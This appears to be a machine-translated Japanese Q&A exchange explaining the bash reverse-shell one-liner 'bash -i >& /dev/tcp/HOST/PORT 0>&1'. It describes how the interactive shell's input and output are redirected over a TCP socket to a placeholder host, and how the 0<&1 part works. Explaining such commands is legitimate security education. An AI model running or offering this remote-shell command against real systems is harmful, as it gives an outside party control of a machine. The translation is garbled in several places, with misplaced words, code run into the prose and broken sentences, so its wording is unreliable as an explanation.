回答:
このスニペットbash -iは、bashプロセス中に作成される、指定されたホストの指定されたポートへのTCP接続で、bash()の新しいインタラクティブインスタンスを実行します。標準出力と標準エラーはこの接続(>& /dev/tcp/HOST/PORT)を介して送信され、標準入力はこの接続を介して読み取られます(0>&1—これも動作するはずです0<&1が0>&1)。
進行中のポート転送はありません。明らかに、ある種のTCPサーバーはそのHOST:PORTで接続をリッスンして受け入れる必要があり、ファイアウォールは接続を通過させる必要があります。
/dev/tcp/HOST/PORTか?名前HOSTと番号をに置き換えたと思いますPORT。そうしないと、bashからエラーメッセージが表示されます。エラーメッセージについては触れなかったので、表示されなかったと思います。
0<&1部分を消化できない。私はそれを「bash stdout(&1)を取り、bash stdin(0)にパイプする」と読みましたが、これは理にかなっています。この部分がどのように機能するか説明できますか?
0<&1は、ファイル記述子1で現在開いているものをファイル記述子0に接続することを意味します。以前のリダイレクトは>& /dev/tcp/HOST/PORTfd 1(出力リダイレクトのデフォルト)を/dev/tcp/HOST/PORTに接続した、つまりTCPソケットを開いたので、これはファイル記述子0(つまり、同じソケットがfd 0でも開いているようになりました。これは、同じサーバーに対して別のソケットを開く0とは異なります</ dev / tcp / HOST / PORT)。